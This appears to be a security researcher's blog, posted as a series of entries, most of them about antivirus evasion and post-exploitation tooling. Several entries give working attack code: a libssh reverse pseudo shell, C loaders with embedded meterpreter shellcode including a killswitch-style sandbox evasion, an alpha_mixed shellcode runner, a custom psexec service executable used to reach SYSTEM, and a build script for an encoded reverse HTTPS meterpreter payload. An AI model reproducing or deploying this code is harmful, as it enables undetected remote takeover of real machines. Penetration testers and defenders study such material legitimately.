Categories
Uncategorized

Recommended Talks for the New Year (34C3, BH)

A new year always brings the talks from the Chaos Communication Congress. Since I had some time for watching, here is a list with my tweets of recommended talks (plus one from Blackhat). Have fun watching.

https://twitter.com/DanielX4v3r/status/946430186467315714

https://twitter.com/DanielX4v3r/status/946671440253865984

https://twitter.com/DanielX4v3r/status/946715162807062528

https://twitter.com/DanielX4v3r/status/946741925163479040

https://twitter.com/DanielX4v3r/status/946759457844981760

https://twitter.com/DanielX4v3r/status/946773087235772416

https://twitter.com/DanielX4v3r/status/946880319281655810

https://twitter.com/DanielX4v3r/status/947429163044163586

https://twitter.com/DanielX4v3r/status/947575259905093636

https://twitter.com/DanielX4v3r/status/949330537952538624

https://twitter.com/DanielX4v3r/status/949336350989398016

https://twitter.com/DanielX4v3r/status/949365818718027777

 

Categories
Uncategorized

Reverse (Pseudo) Shell over SSH

So after exploring libssh a little bit I wanted to do something useful, so my idea was to have a kind of a reverse (pseudo) shell that works via SSH.

  • the client connects to the ssh server of the attacker with a port forward
  • on the attacker machine port 8080 will be opened on localhost through the ssh tunnel
  • now the attacker can connect to port 8080 with netcat and now has a pseudo shell and can execute commands
  • unfortunately I only have a small clue on how to make an interactive shell, that does not work properly at the moment

Code:

#include <libssh/libssh.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

int pseudo_shell(ssh_session session)
{
  int rc;
  ssh_channel channel;
  char buffer_ssh_in[256];
  int nbytes, nwritten;
  int port = 0;
  int port2=1337;
  rc = ssh_channel_listen_forward(session, NULL, 8080, &port2);
  if (rc != SSH_OK)
  {
    fprintf(stderr, "Error opening remote port: %s\n",
            ssh_get_error(session));
    return rc;
  }
  channel = ssh_channel_accept_forward(session, 60000, &port);
  if (channel == NULL)
  {
    fprintf(stderr, "Error waiting for incoming connection: %s\n",
            ssh_get_error(session));
    return SSH_ERROR;
  }
  while (1)
  {
    //user input
    nbytes = ssh_channel_read(channel, buffer_ssh_in, sizeof(buffer_ssh_in), 0);
    if (nbytes = comalloc) {
            comalloc *= 2;
            comout = (char *)realloc(comout, comalloc);
        }
        memmove(comout + comlen, buffer, chread);
        comlen += chread;
    }

    //write output
    nbytes = strlen(comout);
    nwritten = ssh_channel_write(channel, comout, nbytes);
    if (nwritten != nbytes)
    {
      fprintf(stderr, "Error sending answer: %s\n",
              ssh_get_error(session));
      ssh_channel_send_eof(channel);
      ssh_channel_free(channel);
      return SSH_ERROR;
    }
    printf("Sent answer\n");
  }
  ssh_channel_send_eof(channel);
  ssh_channel_free(channel);
  return SSH_OK;
}

int main()
{
  ssh_session my_ssh_session;
  int rc;
  char *password;
  // Open session and set options
  my_ssh_session = ssh_new();
  if (my_ssh_session == NULL)
    exit(-1);
  ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, "192.168.116.215");
  ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, "root");
  // Connect to server
  rc = ssh_connect(my_ssh_session);
  if (rc != SSH_OK)
  {
    fprintf(stderr, "Error connecting to localhost: %s\n",
            ssh_get_error(my_ssh_session));
    ssh_free(my_ssh_session);
    exit(-1);
  }

  // Authenticate ourselves
  // Give password here
  password = "password";
  rc = ssh_userauth_password(my_ssh_session, NULL, password);
  if (rc != SSH_AUTH_SUCCESS)
  {
    fprintf(stderr, "Error authenticating with password: %s\n",
            ssh_get_error(my_ssh_session));
    ssh_disconnect(my_ssh_session);
    ssh_free(my_ssh_session);
    exit(-1);
  }
 
  pseudo_shell(my_ssh_session);
  ssh_disconnect(my_ssh_session);
  ssh_free(my_ssh_session);
}

Get the file here.

After compiling and executing on the “victim” machine:

Now you have your shell:

 

Do you want to know more?

http://api.libssh.org/master/libssh_tutor_forwarding.html

https://rosettacode.org/wiki/Get_system_command_output

Categories
Uncategorized

libssh first steps

Here I describe some first steps for using libssh on an old setup (WinXP with Visual Studio 2008). I think steps for other platforms are more or less similar.

OpenSSL:
Win32OpenSSL-1_0_2m.exe from http://slproweb.com/products/Win32OpenSSL.html
-> Install it.

zlib123dll.zip from http://www.winimage.com/zLibDll/
zlibwapi.dll renamed to zlib1.dll
-> I placed it into my working directory.

libssh-0.7.2-msvc.zip from https://red.libssh.org/projects/libssh/files
-> files placed into c:\Programme\Microsoft Visual Studio 9.0\VC in my case

Now everything is ready for running a simple example. It is a client that executes a command on a ssh server (a Kali box here):

 
#include <libssh/libssh.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

int verify_knownhost(ssh_session session)
{
  int state, hlen;
  unsigned char *hash = NULL;
  char *hexa;
  char buf[10];
  state = ssh_is_server_known(session);
  hlen = ssh_get_pubkey_hash(session, &hash);
  if (hlen < 0)
    return -1;
  switch (state)
  {
    case SSH_SERVER_KNOWN_OK:
      break; /* ok */
    case SSH_SERVER_KNOWN_CHANGED:
      fprintf(stderr, "Host key for server changed: it is now:\n");
      ssh_print_hexa("Public key hash", hash, hlen);
      fprintf(stderr, "For security reasons, connection will be stopped\n");
      free(hash);
      return -1;
    case SSH_SERVER_FOUND_OTHER:
      fprintf(stderr, "The host key for this server was not found but an other"
        "type of key exists.\n");
      fprintf(stderr, "An attacker might change the default server key to"
        "confuse your client into thinking the key does not exist\n");
      free(hash);
      return -1;
    case SSH_SERVER_FILE_NOT_FOUND:
      fprintf(stderr, "Could not find known host file.\n");
      fprintf(stderr, "If you accept the host key here, the file will be"
       "automatically created.\n");
      /* fallback to SSH_SERVER_NOT_KNOWN behavior */
    case SSH_SERVER_NOT_KNOWN:
      hexa = ssh_get_hexa(hash, hlen);
      fprintf(stderr,"The server is unknown. Do you trust the host key?\n");
      fprintf(stderr, "Public key hash: %s\n", hexa);
      free(hexa);
      if (fgets(buf, sizeof(buf), stdin) == NULL)
      {
        free(hash);
        return -1;
      }
      if (strncmp(buf, "yes", 3) != 0)
      {
        free(hash);
        return -1;
      }
      if (ssh_write_knownhost(session) < 0)
      {
        fprintf(stderr, "Error %s\n", strerror(errno));
        free(hash);
        return -1;
      }
      break;
    case SSH_SERVER_ERROR:
      fprintf(stderr, "Error %s", ssh_get_error(session));
      free(hash);
      return -1;
  }
  free(hash);
  return 0;
}

int show_remote_processes(ssh_session session)
{
  ssh_channel channel;
  int rc;
  char buffer[256];
  int nbytes;
  channel = ssh_channel_new(session);
  if (channel == NULL)
    return SSH_ERROR;
  rc = ssh_channel_open_session(channel);
  if (rc != SSH_OK)
  {
    ssh_channel_free(channel);
    return rc;
  }
  rc = ssh_channel_request_exec(channel, "ps aux");
  if (rc != SSH_OK)
  {
    ssh_channel_close(channel);
    ssh_channel_free(channel);
    return rc;
  }
  nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
  while (nbytes > 0)
  {
    if (write(1, buffer, nbytes) != (unsigned int) nbytes)
    {
      ssh_channel_close(channel);
      ssh_channel_free(channel);
      return SSH_ERROR;
    }
    nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
  }

  if (nbytes < 0)
  {
    ssh_channel_close(channel);
    ssh_channel_free(channel);
    return SSH_ERROR;
  }
  ssh_channel_send_eof(channel);
  ssh_channel_close(channel);
  ssh_channel_free(channel);
  return SSH_OK;
}

int main()
{
  ssh_session my_ssh_session;
  int rc;
  char *password;
  // Open session and set options
  my_ssh_session = ssh_new();
  if (my_ssh_session == NULL)
    exit(-1);
  ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, "192.168.153.149");
  ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, "root");
  // Connect to server
  rc = ssh_connect(my_ssh_session);
  if (rc != SSH_OK)
  {
    fprintf(stderr, "Error connecting to localhost: %s\n",
            ssh_get_error(my_ssh_session));
    ssh_free(my_ssh_session);
    exit(-1);
  }
  // Verify the server's identity
  // For the source code of verify_knowhost(), check previous example
  if (verify_knownhost(my_ssh_session) < 0)
  {
    ssh_disconnect(my_ssh_session);
    ssh_free(my_ssh_session);
    exit(-1);
  }
  // Authenticate ourselves
  // Give password here
  password = ""; //getpass("Password: ");
  rc = ssh_userauth_password(my_ssh_session, NULL, password);
  if (rc != SSH_AUTH_SUCCESS)
  {
    fprintf(stderr, "Error authenticating with password: %s\n",
            ssh_get_error(my_ssh_session));
    ssh_disconnect(my_ssh_session);
    ssh_free(my_ssh_session);
    exit(-1);
  }
  show_remote_processes(my_ssh_session);
  ssh_disconnect(my_ssh_session);
  ssh_free(my_ssh_session);
}

Compile with:

cl test.c /link ssh.lib

Output:

E:\>test
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.0  0.3 139204  6352 ?        Ss   Oct23   0:33 /sbin/init
root          2  0.0  0.0      0     0 ?        S    Oct23   0:00 [kthreadd]
root          3  0.0  0.0      0     0 ?        S    Oct23   0:01 [ksoftirqd/0]
root          5  0.0  0.0      0     0 ?        S<   Oct23   0:00 [kworker/0:0H]

root          7  0.0  0.0      0     0 ?        S    Oct23   0:19 [rcu_sched]
root          8  0.0  0.0      0     0 ?        S    Oct23   0:00 [rcu_bh]
root          9  0.0  0.0      0     0 ?        S    Oct23   0:01 [migration/0]
root         10  0.0  0.0      0     0 ?        S<   Oct23   0:00 [lru-add-drain]
...

The code comes from the tutorial:
http://api.libssh.org/master/libssh_tutorial.html

Categories
Uncategorized

Slides Post Exploitation and Attack Vectors in vSphere

Slides from Owasp Meeting Cologne 14.09.17: Post_Exploitation_and_Attack_Vectors_in_vSphere

Categories
Uncategorized

Sandbox Evasion PoC Killswitch gethostbyname

Recently lots of people talked about killswitches, so I decided to make a quick test. Using gethostbyname as a sandbox evasion technique seems to work just fine. The function gets a hostname and tries to give back the IP address. The shellcode in the PoC is only executed if the IP cannot be resolved. Hope I will have time to add it to AVET soon. It would be interesting if this one evades some of the well-known analysis boxes ;).

//gethostbyname.c by Daniel Sauder (@DanielX4v3r)
//blog: govolution.wordpress.com
//wine gcc -m32 gethostbyname.c -lws2_32

#include <stdio.h>
#include <winsock2.h>

WSADATA wsaData;
WORD version;

int main(int argc, char **argv) {

struct hostent *hp = gethostbyname("adsfadsfasdf.asdfasdfasdf");
if (hp == NULL) {

//msfvenom -p windows/meterpreter/bind_tcp lport=8443 -e x86/shikata_ga_nai -f c -a x86 --platform Windows
unsigned char buf[] =
"\xda\xd7\xb8\xa7\xda\x4b\x6a\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x4b\x83\xef\xfc\x31\x47\x16\x03\x47\x16\xe2\x52\x26\xa3\xe8"
"\x9c\xd7\x34\x8d\x15\x32\x05\x8d\x41\x36\x36\x3d\x02\x1a\xbb"
"\xb6\x46\x8f\x48\xba\x4e\xa0\xf9\x71\xa8\x8f\xfa\x2a\x88\x8e"
"\x78\x31\xdc\x70\x40\xfa\x11\x70\x85\xe7\xdb\x20\x5e\x63\x49"
"\xd5\xeb\x39\x51\x5e\xa7\xac\xd1\x83\x70\xce\xf0\x15\x0a\x89"
"\xd2\x94\xdf\xa1\x5b\x8f\x3c\x8f\x12\x24\xf6\x7b\xa5\xec\xc6"
"\x84\x09\xd1\xe6\x76\x50\x15\xc0\x68\x27\x6f\x32\x14\x3f\xb4"
"\x48\xc2\xca\x2f\xea\x81\x6c\x94\x0a\x45\xea\x5f\x00\x22\x79"
"\x07\x05\xb5\xae\x33\x31\x3e\x51\x94\xb3\x04\x75\x30\x9f\xdf"
"\x14\x61\x45\xb1\x29\x71\x26\x6e\x8f\xf9\xcb\x7b\xa2\xa3\x83"
"\x48\x8e\x5b\x54\xc7\x99\x28\x66\x48\x31\xa7\xca\x01\x9f\x30"
"\x2c\x38\x67\xae\xd3\xc3\x97\xe6\x17\x97\xc7\x90\xbe\x98\x8c"
"\x60\x3e\x4d\x38\x6a\x99\x3e\x5e\x91\x73\xbe\xf4\x68\xec\x2a"
"\x07\xb2\x0c\x55\xc2\xdb\xa5\xa8\xec\xc3\xce\x24\x0a\x69\x21"
"\x61\x85\x06\x83\x56\x1e\xb0\xfc\xbc\xe5\xfe\x76\x67\xb2\x96"
"\xcf\x7e\x04\x98\xcf\x54\x23\x0e\x44\xbb\xf0\x2f\x5b\x96\x51"
"\x27\xcc\x6c\x33\x0a\x6c\x70\x1e\xfe\x6e\xe4\xa4\xa9\x39\x90"
"\xa6\x8c\x0e\x3f\x59\xfb\x0c\x38\xa5\x7a\x3e\x32\x93\xe8\x00"
"\x2c\xdb\xfc\x80\xac\x8d\x96\x80\xc4\x69\xc3\xd2\xf1\x76\xde"
"\x46\xaa\xe2\xe1\x3e\x1e\xa5\x89\xbc\x79\x81\x15\x3e\xac\x92"
"\x52\xc0\x31\x93\xa3\x02\xe4\x5d\xd6\x6d\x34";

int (*funct)();
funct = (int (*)()) buf;
(int)(*funct)();

}

return 0;
}

Git: https://github.com/govolution/avepoc

More:
https://msdn.microsoft.com/de-de/library/windows/desktop/ms738524(v=vs.85).aspx

Categories
Uncategorized

Paper AVET Blackhat USA 2017

Hello folks, I wrote a paper for the presentation of AVET at BH USA 2017 Tools Arsenal, explaining the tool and basics about antivirus evasion:

BH_USA_2017_AVET

Thx to @mback2k and @blubbfiction for the review.

Categories
Uncategorized

Using msf alpha_mixed encoder for antivirus evasion

For enhancing AVET I had a look at the alpha_mixed encoder from the metasploit project. An ASCII only shellcode can be produced that way:

# msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -e x86/alpha_mixed BufferRegister=EAX -f c

With the common technique of a shellcode binder (or function pointer) the shellcode can not be executed, because it is expected that the address of the shellcode can be found in the EAX register. For more information about that refer “Generating Alphanumeric Shellcode with Metasploit“.

The shellcode can be executed this way:

unsigned char buf[] = 
...

int main(int argc, char **argv)
{
	register unsigned char* r asm("eax");
	r=buf;
	asm("call *%eax;");
}

The full example can be found here.

After starting the executable on the victim machine for the handler do:

msf exploit(handler) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(handler) > set rhost 192.168.2.103
rhost => 192.168.2.103
msf exploit(handler) > run

[*] Started bind handler
[*] Starting the payload handler...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.2.103
[*] Command shell session 1 opened (192.168.2.104:36907 -> 192.168.2.103:4444) at 2017-06-15 07:50:17 -0400

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Alle Rechte vorbehalten.

C:\Users\dax\Downloads>

To my surprise the sample shown already worked for antivirus evasion. Of course this will be part of the new version of AVET that will be released end of July ’17.

 

UPDATE 02.08.2017: Call ASCII Shellcode as Parameter from CMD

You can also give the shellcode as a parameter from commandline:

Code:

int main(int argc, char **argv)
{
	register unsigned char* r asm("eax");
	r=argv[1];
	asm("call *%eax;");
}

Here is the full example.

 

More:
https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/
https://gcc.gnu.org/onlinedocs/gcc/Local-Register-Variables.html
https://stackoverflow.com/questions/2114163/reading-a-register-value-into-a-c-variable

Categories
Uncategorized

AVET video

Someone made a youtube video about AVET, with a full run and setup. Might be useful for first time users. Stay tuned for the next version that will be released end of July ’17 at Blackhat USA.

Categories
Uncategorized

Write your own metasploit psexec service

Lately I made some research about metasploit’s psexec module and how to write your own service executable. This will be integrated into AVET within the next weeks.
The PoC is simple (download: https://github.com/govolution/avepoc/blob/master/psexecservice.c):

// compile:
// wine gcc -m32  psexecservice.c

#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000
#define LOGFILE "C:\\status.txt"

SERVICE_STATUS ServiceStatus; 
SERVICE_STATUS_HANDLE hStatus; 
 
void  ServiceMain(int argc, char** argv); 
void  ControlHandler(DWORD request); 
int InitService();

// some shellcode
//# msfvenom -p windows/meterpreter/bind_tcp lport=8443 -f c -a x86 --platform Windows
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a"
"\x02\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x20\xfb\x89"
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x85\xc0\x75"
"\x58\x57\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
"\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04"
"\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x2d\x8b"
"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
"\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x07\x01\xc3\x29\xc6\x75\xe9\xc3";


void exec_shellcode(unsigned char *shellcode)
{
  int (*funct)();
  funct = (int (*)()) shellcode;
  (int)(*funct)();
}

int WriteToLog(char* str)
{
	FILE* log;
	log = fopen(LOGFILE, "a+");
	if (log == NULL)
		return -1;
	fprintf(log, "%s\n", str);
	fclose(log);
	return 0;
}

int main() 
{ 
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MemoryStatus";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    // Start the control dispatcher thread for our service
    StartServiceCtrlDispatcher(ServiceTable);  
    return 0;
}


void ServiceMain(int argc, char** argv) 
{ 
    int error; 
 
    ServiceStatus.dwServiceType        = SERVICE_WIN32; 
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING; 
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode      = 0; 
    ServiceStatus.dwServiceSpecificExitCode = 0; 
    ServiceStatus.dwCheckPoint         = 0; 
    ServiceStatus.dwWaitHint           = 0; 
 
    hStatus = RegisterServiceCtrlHandler(
		"SomeService", 
		(LPHANDLER_FUNCTION)ControlHandler); 
    if (hStatus == (SERVICE_STATUS_HANDLE)0) 
    { 
        // Registering Control Handler failed
        return; 
    }  
    // Initialize Service 
    error = InitService(); 
    if (error) 
    {
		// Initialization failed
        ServiceStatus.dwCurrentState       = SERVICE_STOPPED; 
        ServiceStatus.dwWin32ExitCode      = -1; 
        SetServiceStatus(hStatus, &ServiceStatus); 
        return; 
    } 
    // We report the running status to SCM. 
    ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
    SetServiceStatus (hStatus, &ServiceStatus);
    
    WriteToLog("start shellcode\n");	
    exec_shellcode(buf);
    WriteToLog("shellcode executed\n");	
    
    // The worker loop of a service
    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
	{
		// do nothing
		Sleep(SLEEP_TIME);
	}
    return; 
}

 
// Service initialization
int InitService() 
{ 
    
    int result;
    result = WriteToLog("start service");
    return(result); 
} 

// Control handler function
void ControlHandler(DWORD request) 
{ 
    switch(request) 
    { 
        case SERVICE_CONTROL_STOP: 
             //WriteToLog("Monitoring stopped.");

            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
 
        case SERVICE_CONTROL_SHUTDOWN: 
            WriteToLog("stop service");

            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
        
        default:
            break;
    } 
 
    // Report current status
    SetServiceStatus (hStatus,  &ServiceStatus);
 
    return; 
} 

Compile the code with:

wine gcc -m32 psexecservice.c

I use TDM GCC with wine: https://danielsauder.com/2017/02/04/using-tdm-gcc-with-kali-2/
The shellcode was produced with:

msfvenom -p windows/meterpreter/bind_tcp lport=8443 -f c -a x86 --platform Windows

To execute it with metasploit start msfconsole, then:

msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/avepoc/a.exe
EXE::custom => /root/tools/avepoc/a.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run

[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200

msf exploit(psexec) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)

msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows

Related links:
https://community.rapid7.com/community/metasploit/blog/2013/03/09/psexec-demystified
http://rmn-explores.blogspot.de/2010/09/windows-service-using-c.html

Categories
Uncategorized

AVET and unstaged payloads

There are several reasons for using unstaged payloads for meterpreter. Since the dlls are not loaded over the network, but are included in the executable file, this may reduce the chance for an IDS/IPS to detect the connection. The executable will be much bigger:

# ls -al pwn_unstaged.exe
-rwxr-xr-x 1 root root 1578548 May 6 11:05 pwn_unstaged.exe
# ls pwn_staged.exe -al
-rwxr-xr-x 1 root root 120884 May 6 11:33 pwn_staged.exe

For more information about unstaged meterpreter connections: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
Here is the build script for the unstaged payload (name: build_win32_meterpreter_unstaged_rev_https_20xshikata.sh):

#!/bin/bash
# simple example script for building the .exe file
# include script containing the compiler var $win32_compiler
# you can edit the compiler in build/global_win32.sh
# or enter $win32_compiler="mycompiler" here
. build/global_win32.sh
# make meterpreter unstaged reverse payload, encoded 20 rounds with shikata_ga_nai
msfvenom -p windows/meterpreter_reverse_https lhost=192.168.2.104 lport=443 extensions=stdapi,priv -e x86/shikata_ga_nai -i 20 -f c -a x86 --platform Windows > sc.txt
# call make_avet, the sandbox escape is due to the many rounds of decoding the shellcode
./make_avet -f sc.txt
# compile to pwn.exe file
$win32_compiler -o pwn.exe avet.c
# cleanup
echo "" > defs.h

And execution (on Windows 7, MS Defender):

Try the new payload and grab your copy of AVET (AntiVirus Evasion Tool):

https://github.com/govolution/avet